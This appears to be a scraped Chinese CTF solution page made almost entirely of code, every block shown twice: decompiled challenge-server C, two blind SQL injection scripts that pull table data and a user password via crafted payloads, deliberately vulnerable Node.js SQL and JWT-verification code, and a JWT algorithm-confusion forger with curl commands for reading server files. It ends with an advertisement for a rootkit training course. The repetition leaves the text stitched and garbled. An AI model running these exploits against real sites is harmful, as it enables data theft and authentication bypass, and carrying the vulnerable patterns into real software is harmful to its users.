sub_228A(netlong_2); *(_QWORD *)s1 = RSA(v27, ::n, d); *(_QWORD *)s = sub_250A((__int64)"hack", 4u); n_1 = strlen(s); if ( !strncmp(s1, s, n_1) ) { fda = open("/dev/urandom", 0); if ( fda < 0 ) { for ( n31 = 0; n31 <= 31; ++n31 ) p_netlong[n31] = rand(); } else { sub_2A8F((unsigned int)fda, (__int64)p_netlong, 0x20u); close(fda); } dword_7280 = 1; sub_23FA("cookie.txt"); sub_2B09(fd, (__int64)p_netlong, 0x20u); } else { p_AUTH_FAIL = "AUTH_FAIL"; v3 = strlen("AUTH_FAIL"); sub_2B09(fd, (__int64)p_AUTH_FAIL, v3); } break;case 0xFFFF2525: if ( (unsigned int)sub_293A() ) { fwrite("Failed to refresh config\n", 1u, 0x19u, stderr); free(ptr); return 0xFFFFFFFFLL; } if ( size <= 7 || !d || !::n ) goto LABEL_33; netlong_2 = *(_QWORD *)ptr; v27 = sub_228A(netlong_2); *(_QWORD *)s1 = RSA(v27, ::n, d); *(_QWORD *)s = sub_250A((__int64)"hack", 4u); n_1 = strlen(s); if ( !strncmp(s1, s, n_1) ) { fda = open("/dev/urandom", 0); if ( fda < 0 ) { for ( n31 = 0; n31 <= 31; ++n31 ) p_netlong[n31] = rand(); } else { sub_2A8F((unsigned int)fda, (__int64)p_netlong, 0x20u); close(fda); } dword_7280 = 1; sub_23FA("cookie.txt"); sub_2B09(fd, (__int64)p_netlong, 0x20u); } else { p_AUTH_FAIL = "AUTH_FAIL"; v3 = strlen("AUTH_FAIL"); sub_2B09(fd, (__int64)p_AUTH_FAIL, v3); } break;case 0x7F687985u: if ( size > 0x1F ) { if ( (unsigned int)sub_247D("cookie.txt") ) { fwrite("Failed to load cookie from file\n", 1u, 0x20u, stderr); free(ptr); return 0xFFFFFFFFLL; } if ( !dword_7280 || memcmp(ptr, p_netlong, 0x20u) ) { p_BAD_COOKIE = "BAD_COOKIE"; v4 = strlen("BAD_COOKIE"); sub_2B09(fd, (__int64)p_BAD_COOKIE, v4); free(ptr); return 0xFFFFFFFFLL; } if ( (unsigned int)sub_2B76((__int64)ptr + 32, size - 32, s_) ) { sub_2B09(fd, (__int64)"FORWARD_ERR", 0xBu); } else { v5 = strlen(s_); sub_2B09(fd, (__int64)s_, v5); } break; }LABEL_33: free(ptr); return 0xFFFFFFFFLL;case 0x7F687985u: if ( size > 0x1F ) { if ( (unsigned int)sub_247D("cookie.txt") ) { fwrite("Failed to load cookie from file\n", 1u, 0x20u, stderr); free(ptr); return 0xFFFFFFFFLL; } if ( !dword_7280 || memcmp(ptr, p_netlong, 0x20u) ) { p_BAD_COOKIE = "BAD_COOKIE"; v4 = strlen("BAD_COOKIE"); sub_2B09(fd, (__int64)p_BAD_COOKIE, v4); free(ptr); return 0xFFFFFFFFLL; } if ( (unsigned int)sub_2B76((__int64)ptr + 32, size - 32, s_) ) { sub_2B09(fd, (__int64)"FORWARD_ERR", 0xBu); } else { v5 = strlen(s_); sub_2B09(fd, (__int64)s_, v5); } break; }LABEL_33: free(ptr); return 0xFFFFFFFFLL;v51 = (void (*)...)sub_40287D(haystack, s1); // 根据 URI 查找 handlerif ( !v51 ){ sub_402537(fd); // 404 Not Found return 0;}v51((unsigned int)fd, s2, (unsigned int)n2046_1);v51 = (void (*)...)sub_40287D(haystack, s1); // 根据 URI 查找 handlerif ( !v51 ){ sub_402537(fd); // 404 Not Found return 0;}v51((unsigned int)fd, s2, (unsigned int)n2046_1);Pythonimport requestsimport timeimport sys # 配置参数TARGET_API = "http://example"REQUEST_HEADERS = {"Content-Type": "application/json"}CHAR_SET = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZflag{}_!@#$%^&*(),.?/-"REQUEST_INTERVAL = 0.25MAX_RETRY_TIMES = 3 class DataExtractor: """数据提取核心类""" def __init__(self, target_url, headers, char_set): self.target_url = target_url self.headers = headers self.char_set = char_set self.table_name = "where_is_my_flagggggg" def _request_handler(self, query_payload): """请求发送处理器,包含重试和限速处理""" for retry in range(MAX_RETRY_TIMES): try: response = requests.post( self.target_url, json={"query": query_payload}, headers=self.headers, timeout=10 ) if response.status_code == 429: print("\r[警告] 请求频率超限,等待3秒重试...", end="") time.sleep(1) continue time.sleep(REQUEST_INTERVAL) if response.status_code == 200: return response.json() else: return None except (requests.exceptions.RequestException, TimeoutError): time.sleep(1) return None def _condition_verifier(self, condition_expr): """条件验证器:执行条件判断并返回结果""" payload = f"1'||({condition_expr})#" response_data = self._request_handler(payload) if response_data: return response_data.get("count", 0) > 0 return False def _compare_greater(self, target_sub, value): return self._condition_verifier(f"{target_sub}>{value}") def _compare_equal(self, target_sub, value): return self._condition_verifier(f"{target_sub}={value}") def get_length_via_binary(self, target_sub, max_length=200): """二分查找获取目标字符串长度""" left, right = 0, max_length while left < right: middle = (left + right + 1) // 2 if self._compare_greater(f"length({target_sub})", middle - 1): left = middle else: right = middle - 1 if self._compare_equal(f"length({target_sub})", left): return left return 0 def get_char_via_check(self, target_sub, position): """逐字符验证获取目标位置字符""" for char in self.char_set: check_expr = f"substr({target_sub},{position},1)='{char}'" if self._condition_verifier(check_expr): return char return "?" def extract_full_string(self, target_sub, str_length): """提取完整字符串""" extracted_str = "" for pos in range(1, str_length + 1): current_char = self.get_char_via_check(target_sub, pos) extracted_str += current_char sys.stdout.write(f"\r提取进度: {extracted_str}") sys.stdout.flush() print() return extracted_str def get_table_columns(self): """获取目标表的列名列表""" columns_list = [] for col_index in range(5): column_subquery = ( f"(/*!50000select*/column_name" f"/*!50000from*/information_schema.columns" f"/*!50000where*/table_name='{self.table_name}'" f"/*!50000limit*/{col_index},1)" ) col_length = self.get_length_via_binary(column_subquery, 50) if not col_length: break print(f" 列[{col_index}] 长度: {col_length}") column_name = self.extract_full_string(column_subquery, col_length) columns_list.append(column_name) print(f" 列[{col_index}] 名称: {column_name}") return columns_list def get_table_row_count(self): """获取目标表的行数""" row_count_subquery = ( f"(/*!50000select*/count(*)" f"/*!50000from*/{self.table_name})" ) row_number = 0 for num in range(1, 10): if self._compare_equal(row_count_subquery, num): row_number = num break return row_number if row_number > 0 else 1 def extract_column_data(self, column_name, row_count): """提取指定列的数据""" print(f"\n[提取进程] 开始提取 {column_name} 列数据...") for row_index in range(row_count): data_subquery = ( f"(/*!50000select*/{column_name}" f"/*!50000from*/{self.table_name}" f"/*!50000limit*/{row_index},1)" ) data_length = self.get_length_via_binary(data_subquery, 150) print(f" 行[{row_index}] 数据长度: {data_length}") if data_length: extracted_data = self.extract_full_string(data_subquery, data_length) print(f" 行[{row_index}] 数据内容: {extracted_data}") if any(flag_char in extracted_data for flag_char in ["flag", "FLAG", "{", "}"]): print(f"\n{'='*60}") print(f"[找到FLAG] {extracted_data}") print(f"{'='*60}") def run_extraction(self): """执行完整的数据提取流程""" print("="*60) print(f"[启动提取] 目标数据表: {self.table_name}") print("="*60) print("\n[步骤1] 开始提取数据表列名...") table_columns = self.get_table_columns() print(f"\n[提取结果] 检测到列名列表: {table_columns}") print("\n[步骤2] 开始检测数据表行数...") row_count = self.get_table_row_count() print(f"[提取结果] 数据表行数: {row_count}") print("\n[步骤3] 开始提取列数据...") for column in table_columns: self.extract_column_data(column, row_count) # 主函数入口if __name__ == "__main__": extractor = DataExtractor(TARGET_API, REQUEST_HEADERS, CHAR_SET) extractor.run_extraction()Pythonimport requestsimport timeimport sys # 配置参数TARGET_API = "http://example"REQUEST_HEADERS = {"Content-Type": "application/json"}CHAR_SET = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZflag{}_!@#$%^&*(),.?/-"REQUEST_INTERVAL = 0.25MAX_RETRY_TIMES = 3 class DataExtractor: """数据提取核心类""" def __init__(self, target_url, headers, char_set): self.target_url = target_url self.headers = headers self.char_set = char_set self.table_name = "where_is_my_flagggggg" def _request_handler(self, query_payload): """请求发送处理器,包含重试和限速处理""" for retry in range(MAX_RETRY_TIMES): try: response = requests.post( self.target_url, json={"query": query_payload}, headers=self.headers, timeout=10 ) if response.status_code == 429: print("\r[警告] 请求频率超限,等待3秒重试...", end="") time.sleep(1) continue time.sleep(REQUEST_INTERVAL) if response.status_code == 200: return response.json() else: return None except (requests.exceptions.RequestException, TimeoutError): time.sleep(1) return None def _condition_verifier(self, condition_expr): """条件验证器:执行条件判断并返回结果""" payload = f"1'||({condition_expr})#" response_data = self._request_handler(payload) if response_data: return response_data.get("count", 0) > 0 return False def _compare_greater(self, target_sub, value): return self._condition_verifier(f"{target_sub}>{value}") def _compare_equal(self, target_sub, value): return self._condition_verifier(f"{target_sub}={value}") def get_length_via_binary(self, target_sub, max_length=200): """二分查找获取目标字符串长度""" left, right = 0, max_length while left < right: middle = (left + right + 1) // 2 if self._compare_greater(f"length({target_sub})", middle - 1): left = middle else: right = middle - 1 if self._compare_equal(f"length({target_sub})", left): return left return 0 def get_char_via_check(self, target_sub, position): """逐字符验证获取目标位置字符""" for char in self.char_set: check_expr = f"substr({target_sub},{position},1)='{char}'" if self._condition_verifier(check_expr): return char return "?" def extract_full_string(self, target_sub, str_length): """提取完整字符串""" extracted_str = "" for pos in range(1, str_length + 1): current_char = self.get_char_via_check(target_sub, pos) extracted_str += current_char sys.stdout.write(f"\r提取进度: {extracted_str}") sys.stdout.flush() print() return extracted_str def get_table_columns(self): """获取目标表的列名列表""" columns_list = [] for col_index in range(5): column_subquery = ( f"(/*!50000select*/column_name" f"/*!50000from*/information_schema.columns" f"/*!50000where*/table_name='{self.table_name}'" f"/*!50000limit*/{col_index},1)" ) col_length = self.get_length_via_binary(column_subquery, 50) if not col_length: break print(f" 列[{col_index}] 长度: {col_length}") column_name = self.extract_full_string(column_subquery, col_length) columns_list.append(column_name) print(f" 列[{col_index}] 名称: {column_name}") return columns_list def get_table_row_count(self): """获取目标表的行数""" row_count_subquery = ( f"(/*!50000select*/count(*)" f"/*!50000from*/{self.table_name})" ) row_number = 0 for num in range(1, 10): if self._compare_equal(row_count_subquery, num): row_number = num break return row_number if row_number > 0 else 1 def extract_column_data(self, column_name, row_count): """提取指定列的数据""" print(f"\n[提取进程] 开始提取 {column_name} 列数据...") for row_index in range(row_count): data_subquery = ( f"(/*!50000select*/{column_name}" f"/*!50000from*/{self.table_name}" f"/*!50000limit*/{row_index},1)" ) data_length = self.get_length_via_binary(data_subquery, 150) print(f" 行[{row_index}] 数据长度: {data_length}") if data_length: extracted_data = self.extract_full_string(data_subquery, data_length) print(f" 行[{row_index}] 数据内容: {extracted_data}") if any(flag_char in extracted_data for flag_char in ["flag", "FLAG", "{", "}"]): print(f"\n{'='*60}") print(f"[找到FLAG] {extracted_data}") print(f"{'='*60}") def run_extraction(self): """执行完整的数据提取流程""" print("="*60) print(f"[启动提取] 目标数据表: {self.table_name}") print("="*60) print("\n[步骤1] 开始提取数据表列名...") table_columns = self.get_table_columns() print(f"\n[提取结果] 检测到列名列表: {table_columns}") print("\n[步骤2] 开始检测数据表行数...") row_count = self.get_table_row_count() print(f"[提取结果] 数据表行数: {row_count}") print("\n[步骤3] 开始提取列数据...") for column in table_columns: self.extract_column_data(column, row_count) # 主函数入口if __name__ == "__main__": extractor = DataExtractor(TARGET_API, REQUEST_HEADERS, CHAR_SET) extractor.run_extraction()JavaScriptmodule.exports = { getUser(username){ let result=db.prepare('SELECT * FROM users WHERE username = ?').get(username); return result; }, checkUser(username){ let result=db.prepare('SELECT * FROM users WHERE username = ?').get(username); return (result === undefined); }, createUser(username, password){ let query = 'INSERT INTO users(username, password) VALUES(?,?)'; db.prepare(query).run(username,password); }, attemptLogin(username, password){ let result=db.prepare(`SELECT * FROM users WHERE username = ? AND password = ?`).get(username,password); return (result !== undefined); }, sendFeedback(message){ db.prepare(`INSERT INTO messages VALUES('${message}')`).run(); }}JavaScriptmodule.exports = { getUser(username){ let result=db.prepare('SELECT * FROM users WHERE username = ?').get(username); return result; }, checkUser(username){ let result=db.prepare('SELECT * FROM users WHERE username = ?').get(username); return (result === undefined); }, createUser(username, password){ let query = 'INSERT INTO users(username, password) VALUES(?,?)'; db.prepare(query).run(username,password); }, attemptLogin(username, password){ let result=db.prepare(`SELECT * FROM users WHERE username = ? AND password = ?`).get(username,password); return (result !== undefined); }, sendFeedback(message){ db.prepare(`INSERT INTO messages VALUES('${message}')`).run(); }}Pythonimport requestsimport stringTARGET_URL = "https://example" # 修改为实际地址COOKIES = { "session": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QwMSIsInByaXZpbGVkZ2UiOiJUZW1wIFVzZXIiLCJpYXQiOjE3NjY4OTM5MTV9.vwS9rDSVPzLtuf_tJKPdJQ8h4D29uBdpIZSh9BsgWbwOcw1rlJ2RVzhZvQGPxSiF08ZHuePTOiJNuP_pHtttSj78GrP23YLg69ARssznwva0rhLPPi_3cHvJYoYNmnxILV_0sACwOA-fSenn4MYVwqUUXc40d9yqg0jaMDEl8SU"}PASSWORD_LENGTH = 12def check_condition(payload): data = {"message": payload} try: resp = requests.post(TARGET_URL, data=data, cookies=COOKIES, timeout=10) return "OK" in resp.text except Exception as e: print(f"[!] 请求错误: {e}") return Falsedef extract_char_simple(position, table="users", column="password"): simple_chars = { 30: '0', 31: '1', 32: '2', 33: '3', 34: '4', 35: '5', 36: '6', 37: '7', 38: '8', 39: '9', 61: 'a', 62: 'b', 63: 'c', 64: 'd', 65: 'e', 66: 'f', 67: 'g', 68: 'h', 69: 'i' } for hex_val, char in simple_chars.items(): payload = f"' || (SELECT CASE WHEN CAST(HEX(SUBSTR((SELECT {column} FROM {table} LIMIT 1),{position},1)) AS INTEGER)={hex_val} THEN 1 ELSE NULL END))-- " if check_condition(payload): return char return Nonedef extract_char_double_hex(position, table="users", column="password"): double_hex_chars = { 3641: 'j', 3642: 'k', 3643: 'l', 3644: 'm', 3645: 'n', 3646: 'o', 3730: 'p', 3731: 'q', 3732: 'r', 3733: 's', 3734: 't', 3735: 'u', 3736: 'v', 3737: 'w', 3738: 'x', 3739: 'y', 3741: 'z', 3441: 'J', 3442: 'K', 3443: 'L', 3444: 'M', 3445: 'N', 3446: 'O', 3530: 'P', 3531: 'Q', 3532: 'R', 3533: 'S', 3534: 'T', 3535: 'U', 3536: 'V', 3537: 'W', 3538: 'X', 3539: 'Y', 3541: 'Z', 3231: '!', 3430: '@', 3233: '#', 3234: '$', 3235: '%', 3564: '^', 3236: '&', 3261: '*', 3238: '(', 3239: ')', 3564: '_', 3244: '-', 3362: '.', } for hex_val, char in double_hex_chars.items(): payload = f"' || (SELECT CASE WHEN CAST(HEX(HEX(SUBSTR((SELECT {column} FROM {table} LIMIT 1),{position},1))) AS INTEGER)={hex_val} THEN 1 ELSE NULL END))-- " if check_condition(payload): return char return Nonedef extract_char_simple_upper(position, table="users", column="password"): upper_chars = { 41: 'A', 42: 'B', 43: 'C', 44: 'D', 45: 'E', 46: 'F', 47: 'G', 48: 'H', 49: 'I' } for hex_val, char in upper_chars.items(): payload = f"' || (SELECT CASE WHEN CAST(HEX(SUBSTR((SELECT {column} FROM {table} LIMIT 1),{position},1)) AS INTEGER)={hex_val} THEN 1 ELSE NULL END))-- " if check_condition(payload): return char return Nonedef extract_char(position, table="users", column="password"): print(f"[*] 正在提取第 {position} 个字符...", end=" ", flush=True) # 先尝试简单HEX (0-9, a-i) char = extract_char_simple(position, table, column) if char: print(f"找到: {char}") return char # 尝试大写字母 A-I char = extract_char_simple_upper(position, table, column) if char: print(f"找到: {char}") return char # 尝试双重HEX (j-z, J-Z, 特殊字符) char = extract_char_double_hex(position, table, column) if char: print(f"找到: {char}") return char print("未找到!") return "?"def extract_password(): print(f"[+] 开始提取密码 (长度: {PASSWORD_LENGTH})") print("-" * 40) password = "" for i in range(1, PASSWORD_LENGTH + 1): char = extract_char(i) password += char print(f"[+] 当前密码: {password}") print("-" * 40) print(f"[+] 提取完成!") print(f"[+] 密码: {password}") return passworddef test_connection(): print("[*] 测试连接...") payload = "')-- " if check_condition(payload): print("[+] 连接成功!") return True else: print("[-] 连接失败,请检查URL") return Falseif __name__ == "__main__": print("=" * 40) print(" SQL盲注 - 密码提取脚本") print("=" * 40) # 修改目标URL url_input = input(f"[?] 输入目标URL (默认: {TARGET_URL}): ").strip() if url_input: TARGET_URL = url_input # 输入Cookie cookie_input = input("[?] 输入session cookie (留空跳过): ").strip() if cookie_input: COOKIES["session"] = cookie_input if test_connection(): extract_password()Pythonimport requestsimport stringTARGET_URL = "https://example" # 修改为实际地址COOKIES = { "session": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QwMSIsInByaXZpbGVkZ2UiOiJUZW1wIFVzZXIiLCJpYXQiOjE3NjY4OTM5MTV9.vwS9rDSVPzLtuf_tJKPdJQ8h4D29uBdpIZSh9BsgWbwOcw1rlJ2RVzhZvQGPxSiF08ZHuePTOiJNuP_pHtttSj78GrP23YLg69ARssznwva0rhLPPi_3cHvJYoYNmnxILV_0sACwOA-fSenn4MYVwqUUXc40d9yqg0jaMDEl8SU"}PASSWORD_LENGTH = 12def check_condition(payload): data = {"message": payload} try: resp = requests.post(TARGET_URL, data=data, cookies=COOKIES, timeout=10) return "OK" in resp.text except Exception as e: print(f"[!] 请求错误: {e}") return Falsedef extract_char_simple(position, table="users", column="password"): simple_chars = { 30: '0', 31: '1', 32: '2', 33: '3', 34: '4', 35: '5', 36: '6', 37: '7', 38: '8', 39: '9', 61: 'a', 62: 'b', 63: 'c', 64: 'd', 65: 'e', 66: 'f', 67: 'g', 68: 'h', 69: 'i' } for hex_val, char in simple_chars.items(): payload = f"' || (SELECT CASE WHEN CAST(HEX(SUBSTR((SELECT {column} FROM {table} LIMIT 1),{position},1)) AS INTEGER)={hex_val} THEN 1 ELSE NULL END))-- " if check_condition(payload): return char return Nonedef extract_char_double_hex(position, table="users", column="password"): double_hex_chars = { 3641: 'j', 3642: 'k', 3643: 'l', 3644: 'm', 3645: 'n', 3646: 'o', 3730: 'p', 3731: 'q', 3732: 'r', 3733: 's', 3734: 't', 3735: 'u', 3736: 'v', 3737: 'w', 3738: 'x', 3739: 'y', 3741: 'z', 3441: 'J', 3442: 'K', 3443: 'L', 3444: 'M', 3445: 'N', 3446: 'O', 3530: 'P', 3531: 'Q', 3532: 'R', 3533: 'S', 3534: 'T', 3535: 'U', 3536: 'V', 3537: 'W', 3538: 'X', 3539: 'Y', 3541: 'Z', 3231: '!', 3430: '@', 3233: '#', 3234: '$', 3235: '%', 3564: '^', 3236: '&', 3261: '*', 3238: '(', 3239: ')', 3564: '_', 3244: '-', 3362: '.', } for hex_val, char in double_hex_chars.items(): payload = f"' || (SELECT CASE WHEN CAST(HEX(HEX(SUBSTR((SELECT {column} FROM {table} LIMIT 1),{position},1))) AS INTEGER)={hex_val} THEN 1 ELSE NULL END))-- " if check_condition(payload): return char return Nonedef extract_char_simple_upper(position, table="users", column="password"): upper_chars = { 41: 'A', 42: 'B', 43: 'C', 44: 'D', 45: 'E', 46: 'F', 47: 'G', 48: 'H', 49: 'I' } for hex_val, char in upper_chars.items(): payload = f"' || (SELECT CASE WHEN CAST(HEX(SUBSTR((SELECT {column} FROM {table} LIMIT 1),{position},1)) AS INTEGER)={hex_val} THEN 1 ELSE NULL END))-- " if check_condition(payload): return char return Nonedef extract_char(position, table="users", column="password"): print(f"[*] 正在提取第 {position} 个字符...", end=" ", flush=True) # 先尝试简单HEX (0-9, a-i) char = extract_char_simple(position, table, column) if char: print(f"找到: {char}") return char # 尝试大写字母 A-I char = extract_char_simple_upper(position, table, column) if char: print(f"找到: {char}") return char # 尝试双重HEX (j-z, J-Z, 特殊字符) char = extract_char_double_hex(position, table, column) if char: print(f"找到: {char}") return char print("未找到!") return "?"def extract_password(): print(f"[+] 开始提取密码 (长度: {PASSWORD_LENGTH})") print("-" * 40) password = "" for i in range(1, PASSWORD_LENGTH + 1): char = extract_char(i) password += char print(f"[+] 当前密码: {password}") print("-" * 40) print(f"[+] 提取完成!") print(f"[+] 密码: {password}") return passworddef test_connection(): print("[*] 测试连接...") payload = "')-- " if check_condition(payload): print("[+] 连接成功!") return True else: print("[-] 连接失败,请检查URL") return Falseif __name__ == "__main__": print("=" * 40) print(" SQL盲注 - 密码提取脚本") print("=" * 40) # 修改目标URL url_input = input(f"[?] 输入目标URL (默认: {TARGET_URL}): ").strip() if url_input: TARGET_URL = url_input # 输入Cookie cookie_input = input("[?] 输入session cookie (留空跳过): ").strip() if cookie_input: COOKIES["session"] = cookie_input if test_connection(): extract_password()JavaScriptconst jwt = require('jsonwebtoken');const fs = require('fs');const publicKey = fs.readFileSync('./publickey.pem', 'utf8');const privateKey = fs.readFileSync('./privatekey.pem', 'utf8');module.exports = { async sign(data) { data = Object.assign(data); return (await jwt.sign(data, privateKey, { algorithm:'RS256'})) }, async decode(token) { return (await jwt.verify(token, publicKey, { algorithms: ['RS256','HS256'] })); }}JavaScriptconst jwt = require('jsonwebtoken');const fs = require('fs');const publicKey = fs.readFileSync('./publickey.pem', 'utf8');const privateKey = fs.readFileSync('./privatekey.pem', 'utf8');module.exports = { async sign(data) { data = Object.assign(data); return (await jwt.sign(data, privateKey, { algorithm:'RS256'})) }, async decode(token) { return (await jwt.verify(token, publicKey, { algorithms: ['RS256','HS256'] })); }}Pythonimport hmacimport hashlibimport base64import jsonimport time# 公钥 - 必须在末尾加 \nPUBLICKEY = """-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCtcZQ4xWg02WgSE2+k9MviV5iUxaEZCYejT8uOYX/QIWQLj7/jAhj/HafzkyWfTaFhoubbpBkY5pWTO3gANvPUVMZ3ytz0VAY57/G20BKS6A36DB4qOqDB3Hzx7Tt3+GhPvOK++7AIJ1xgGFEfueYV5RyMDZ+NizQLLjpV394lHQIDAQAB-----END PUBLIC KEY-----"""def base64url_encode(data): """Base64 URL编码""" if isinstance(data, str): data = data.encode('utf-8') return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')def forge_jwt(username="admin", priviledge="File-Priviledged-User"): """伪造JWT token""" # Header - 使用HS256算法 header = {"alg": "HS256", "typ": "JWT"} # Payload - 必须包含iat字段 payload = { "username": username, "priviledge": priviledge, "iat": int(time.time()) } # 编码 header_b64 = base64url_encode(json.dumps(header, separators=(',', ':'))) payload_b64 = base64url_encode(json.dumps(payload, separators=(',', ':'))) # 签名消息 message = f"{header_b64}.{payload_b64}" # 使用公钥作为HMAC密钥(关键:公钥必须以\n结尾) signature = hmac.new( PUBLICKEY.encode('utf-8'), message.encode('utf-8'), hashlib.sha256 ).digest() sig_b64 = base64url_encode(signature) return f"{message}.{sig_b64}"if __name__ == "__main__": print("=" * 60) print(" JWT算法混淆攻击 - 伪造File-Priviledged-User权限") print("=" * 60) token = forge_jwt() print(f"\n[+] 伪造的JWT Token:") print(token) print(f"\n[+] 测试命令 (需要替换TARGET_URL):") print(f"""# 测试主页(应该返回200)curl "TARGET_URL/" -H "Cookie: session={token}" -k# 读取system.logcurl "TARGET_URL/checkfile?file=system.log" -H "Cookie: session={token}" -k# 读取flag(需要找到正确的文件名)# 由于路径截断,输入长度>10会截断为前10字符# 例如:flagXXXXXX.log -> flagXXXXXX (读取./flagXXXXXX)""") # 保存token with open("forged_token.txt", "w") as f: f.write(token) print(f"[+] Token已保存到 forged_token.txt")Pythonimport hmacimport hashlibimport base64import jsonimport time# 公钥 - 必须在末尾加 \nPUBLICKEY = """-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCtcZQ4xWg02WgSE2+k9MviV5iUxaEZCYejT8uOYX/QIWQLj7/jAhj/HafzkyWfTaFhoubbpBkY5pWTO3gANvPUVMZ3ytz0VAY57/G20BKS6A36DB4qOqDB3Hzx7Tt3+GhPvOK++7AIJ1xgGFEfueYV5RyMDZ+NizQLLjpV394lHQIDAQAB-----END PUBLIC KEY-----"""def base64url_encode(data): """Base64 URL编码""" if isinstance(data, str): data = data.encode('utf-8') return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')def forge_jwt(username="admin", priviledge="File-Priviledged-User"): """伪造JWT token""" # Header - 使用HS256算法 header = {"alg": "HS256", "typ": "JWT"} # Payload - 必须包含iat字段 payload = { "username": username, "priviledge": priviledge, "iat": int(time.time()) } # 编码 header_b64 = base64url_encode(json.dumps(header, separators=(',', ':'))) payload_b64 = base64url_encode(json.dumps(payload, separators=(',', ':'))) # 签名消息 message = f"{header_b64}.{payload_b64}" # 使用公钥作为HMAC密钥(关键:公钥必须以\n结尾) signature = hmac.new( PUBLICKEY.encode('utf-8'), message.encode('utf-8'), hashlib.sha256 ).digest() sig_b64 = base64url_encode(signature) return f"{message}.{sig_b64}"if __name__ == "__main__": print("=" * 60) print(" JWT算法混淆攻击 - 伪造File-Priviledged-User权限") print("=" * 60) token = forge_jwt() print(f"\n[+] 伪造的JWT Token:") print(token) print(f"\n[+] 测试命令 (需要替换TARGET_URL):") print(f"""# 测试主页(应该返回200)curl "TARGET_URL/" -H "Cookie: session={token}" -k# 读取system.logcurl "TARGET_URL/checkfile?file=system.log" -H "Cookie: session={token}" -k# 读取flag(需要找到正确的文件名)# 由于路径截断,输入长度>10会截断为前10字符# 例如:flagXXXXXX.log -> flagXXXXXX (读取./flagXXXXXX)""") # 保存token with open("forged_token.txt", "w") as f: f.write(token) print(f"[+] Token已保存到 forged_token.txt")[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!